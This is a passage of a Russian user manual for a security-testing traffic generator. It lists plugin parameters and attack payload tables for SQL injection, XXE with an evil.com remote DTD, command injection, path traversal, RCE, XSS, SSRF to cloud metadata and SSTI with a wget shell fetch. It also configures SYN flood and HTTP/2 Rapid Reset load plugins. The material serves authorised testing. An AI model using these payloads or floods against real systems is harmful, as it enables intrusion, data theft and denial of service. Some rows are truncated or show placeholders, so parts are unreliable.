| JSON array | /?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294 |
| JSON keys | /?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM |
| Negative float | /?p="union select \-7431.1, name, @aaa from u\_base--w- |
| Float compare | /?p=or 123.22=123.22 |
| Delay syntax | /?p= waitfor delay '00:00:10'-- |
| Nested sleep 2 | /?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/ |
| JSON extract 2 | /?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa |
| JSON depth | /?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521 |
| ELT function | /?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333 |
| JSON keys 2 | /?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8))) |
| JSON length | /?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779 |
XXE Advanced, описание приведено в Табл. 23
Проверяет уязвимости в XML-парсерах. Используются атаки, способные раскрыть содержимое файлов, инициировать сетевые подключения и обойти ограничения.
Табл. 23 – Параметры «XXE Advanced»
| Название | Значение |
|---|---|
| External entity file read | \<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\> |
| Base64 data scheme attack | \<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\> |
| Remote DTD inclusion | \<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> |
| Collaborator-based SSRF | \<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> |
Command Injection Advanced, описание приведено в Табл. 24
Проверяет, можно ли выполнить произвольные команды ОС через параметры запроса. Атаки охватывают как POSIX, так и Windows-окружения.
Табл. 24 – Параметры «Command Injection Advanced»
| Название | Значение |
|---|---|
| SQL-to-OS pivot | /?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables) |
| Obfuscated SQL-to-OS | /?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables) |
| XPCMDSHELL User Creation | CODEBLOCK2\_ |
| Direct XPCMDSHELL Call | CODEBLOCK3\_ |
| Bracket Obfuscation | /?xp\[cmdshell |
| Basic Command Chaining | /?a=; ls |
| Newline Injection | /?a=%0a ls |
| Subshell Execution | /?a=$(ls) |
| Single Quote Escape | /?a='ls' |
| Ampersand Separation | /?a=& ls |
| URL-encoded Ampersand | /?a=%26 ls |
| Double Ampersand | /?a=1 && ls |
| URL-encoded Double Ampersand | /?a=%26%26 ls |
| Pipe Separation | /?a= |
| Double Pipe | /?a= |
| Path Fragmentation | /?a= '/b'i'n/l's' |
| Backslash Obfuscation | /?a= /b\\\\in/l\\\\s |
| Variable Substitution | /?a=cat$a /etc\#$a/passwd$a |
File Injection Advanced, описание приведено в Табл. 25
Тестирует возможности внедрения через пути к файлам: php://, file://, zip:// и другие. Цель — получить доступ к конфиденциальным данным или исполняемым файлам.
Табл. 25 – Параметры «File Injection Advanced»
| Название | Значение |
|---|---|
| Basic Directory Traversal | /?file=../bla.txt |
| Encoded Dot-Dot-Slash | /?file=.%./bla.txt |
| PHP Filter Exploit via XML Entity | /?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\> |
| Basic File Protocol | /?p=file=/etc/passwd |
| File URI Scheme | ?p=file:///etc/passwd |
| PHP Base64 Filter | /?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd |
| PHP Zlib Compression Filter | /?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd |
| Kubernetes Secrets via IPv6 | /?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount |
XML Injection Advanced, описание приведено в Табл. 26
Анализирует, как система обрабатывает пользовательские XML-вводы. Может привести к ошибкам парсинга или раскрытию данных.
Табл. 26 – Параметры «XML Injection Advanced»
| Название | Значение |
|---|---|
| XML Parser Logic Bypass | /?test\[1=2test\_ \-- |
Path Traversal Advanced, описание приведено в Табл. 27
Тестирует обработку путей типа ../../etc/passwd и их различных обфускаций. Актуально для выявления доступа к защищённым системным файлам.
Табл. 27 – Параметры «Path Traversal Advanced»
| Название | Значение |
|---|---|
| Windows Path | /?p=.../.../WINDOWS/win.ini |
| Null Byte Termination | /?p=../../../../etc/passwd%00 |
| JPG Null Byte | /?p=../../../../etc/passwd%00jpg |
| Query Param Bypass | /?p=../../../../etc/passwd? |
| Double Encoding | /?p=%252e%252e%252fetc%252fpasswd |
| Double Encoded Null | /?p=%252e%252e%252fetc%252fpasswd%00 |
| Nested Slashes | /?p=....//....//etc/passwd |
| Excessive Slashes | /?p=..///////..////..//////etc/passwd |
| Backslash Bypass | /?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd |
| URL Encoded Slash | /?p=..%2f..%2f..%2f..%2fetc%2fpasswd |
| Dot Encoding | /?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
| Triple Encoding | /?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd |
| Backslash Encoding | /?p=..%255c..%255c..%255c..%255cetc%255cpasswd |
| Unicode Bypass | /?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd |
| Dot Overload | /?p=%252e%252e%252e%252e%252e%252eetcpasswd' |
| C1 Byte Bypass | /?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd |
UNC Path Traversal Advanced, описание приведено в Табл. 28
Использует пути вида \host\c$\windows\win.ini для тестирования доступа к удалённым или локальным системным ресурсам через нестандартные методы.
Табл. 28 – Параметры « UNC Path Traversal Advanced»
| Название | Значение |
|---|---|
| IPv6 UNC Path | /?p=0::001c$windowswin.ini |
| Registry Access | /?p=::1c$usersdefault\\ntuser.dat |
| Localhost UNC | /?p=localhostc$windowswin.ini |
| Long Path Bypass | /?p=file:////////////////////////c |
RCE Advanced, описание приведено в Табл. 29
Имитация атак на уязвимости типа ShellShock, инъекции PHP/JS, и обход фильтров для выполнения произвольного кода на целевом сервере.
Табл. 29 – Параметры « RCE Advanced»
| Название | Значение |
|---|---|
| ShellShock Exploit | /?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd' |
| PHP Short Tag | /?p=\<?=$\_POST\[00\]?\> |
| Command Concatenation | /?p=; cat /et'c/pa's's'wd |
| IP-based Execution | /?p=cmd=127.0.0.1 && ls /etc |
| String Reversal | /?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn' |
| Variable Obfuscation | /?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss?? |
GraphQL Advanced, описание приведено в Табл. 30
Автоматически отправляет нестандартные, глубоко вложенные и мутированные запросы GraphQL для выявления пробелов в валидации и контроле типов.
Табл. 30 – Параметры «GraphQL Advanced»
| Название | Значение |
|---|---|
| Basic Schema Extraction | /?query={ \_\_schema { types { name } } } |
| Deep Type Introspection | /?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} |
XSS Advanced, описание приведено в Табл. 31
Проверка на возможность внедрения JavaScript-кода в веб-страницу. Используются payload'ы для DOM-based, reflected и stored XSS.
Табл. 31 – Параметры «XSS Advanced»
| Название | Значение |
|---|---|
| Body Onload | /?q=\<body onload=alert('test1')\> |
| Mouseover Event | /?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\> |
| Image Error | /?q=\<img/src=x/onerror=xxx |
| Wheel Event | /?q="onwheel=alert(111) |
| Prototype Pollution | /?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\> |
| Closure Base Path | /?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)// |
| Vue.js Exploit | /?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')() |
| SVG MIME Abuse | /?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html |
| SVG Short | /?q='\>\<svg/onload=alertxss\> |
| Exception Handler | /?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}// |
| Self XSS | /?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}// |
| Image Error 2 | /?q=\<img src=x onerror=alert(document.domain)\>/all |
| JavaScript Pseudo | /?q=javascript:setInterval('ale'+'rt(document.domain)') |
| Map Confirm | /?q="Onclick="(\[11\].map(confirm)) |
| Base64 Image | /?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\> |
| Autofocus Bypass | /?q=\\\\"autofocus=alert(1)// |
| External Entity | /?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\> |
| Doctype Short | /?a=\<\!DOCTYPE :. SYTEM "http://" |
| Complex Doctype | /?a=\<\!DOCTYPE :\_-\_: SYTEM "http://" |
SSRF Advanced, описание приведено в Табл. 32
Тестирует возможность заставить сервер делать HTTP-запросы от своего имени к внутренним сервисам, metadata API или внешним адресам.
Табл. 32 – Параметры «SSRF Advanced»
| Название | Значение |
|---|---|
| Cloud Metadata | /?q=https://somehost/metadata/instance |
| Telnet IPv4 | /?q=telnet://2852039166/ |
| IPv6 Transition | /?q=http://\[::ffff:a9fe:a9fe\]/ |
| AWS Metadata | /?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/ |
| OpenStack Metadata | /?q=http://169.254.169.254/openstack |
| Octal Encoding | /?q=http://0251.00376.000251.0000376/ |
| Shortened IP | /?q=http://0251.254.169.254 |
| Localhost | /?q=http://0.0.0.0:80 |
| Gopher Protocol | /?q=gopher://0.0.0.0:443 |
| SSH Port | /?q=http://0.0.0.0:22 |
| FTP IPv4 | /?q=ftp://3232235521/ |
| Short Port | /?q=http://0:8080/ |
| Minimal URL | /?q=http://0/ |
| Link-Local | /?q=http://169.254.169.254 |
| IMAP | /?q=imap://2130706433 |
| Wildcard IPv6 | /?q=http://\[::::\] |
| Compressed IPv6 | /?q=http://0000::1 |
| Unicode Gopher | /?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A |
| TFTP Unicode | /?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E |
SSI/SSTI Advanced, описание приведено в Табл. 33
Атаки на шаблонизаторы (Jinja2, Freemarker и др.) и SSI-инструкции. Цель — выполнить команды или прочитать файлы через шаблонную логику.
Табл. 33 – Параметры «SSI/SSTI Advanced»
| Название | Значение |
|---|---|
| SSI Command | /?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt |
| SSI List Dir | /?q=\<\!--\#exec cmd="ls" \--\> |
| SSI Windows Dir | /?q=\<\!--\#exec cmd="dir" \--\> |
| Java Resource | /?q=${class.getResource("./test/test.res").getContent()} |
| Twig RCE | /?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}} |
| Freemarker RCE | /?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")} |
| Python Attribute | /?q={{request |
-
Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указаны в Табл. 34
Табл. 34 – Параметры «Сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 35.
Табл. 35 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
HTTP/2 Rapid Reset
HTTP/2 Rapid Reset – плагин для генерации различного веб-трафика с механизмом в протоколе HTTP/2, который позволяет быстро сбрасывать соединения.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 36;
Табл. 36 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 37;
Табл. 37 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 38;
Табл. 38 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
4) TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 39;
Табл. 39 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 40;
Табл. 40 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | Выберете значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заголовка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | Выберете из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 41;
Табл. 41 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
7) Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 42.
Табл. 42 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
SYN Flood
SYN Flood – плагин для генерации трафика, в котором отправляется большое количество запросов на установление TCP-соединения (SYN-пакеты) без завершения процесса.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 43;
Табл. 43 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 40;
Табл. 40 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 41;
Табл. 41 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 42;
Табл. 42 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи Параметр доступен, если параметр «Случайный Sequence Number» выключен | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 43;
Табл. 43 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 44.
Табл. 44 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
SYN/ACK Flood
SYN/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов SYN-ACK на цель, заставляя ее обрабатывать множество соединений.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 45;
Табл. 45 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 46;
Табл. 46 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 47;
Табл. 47 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 46;
Табл. 46 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
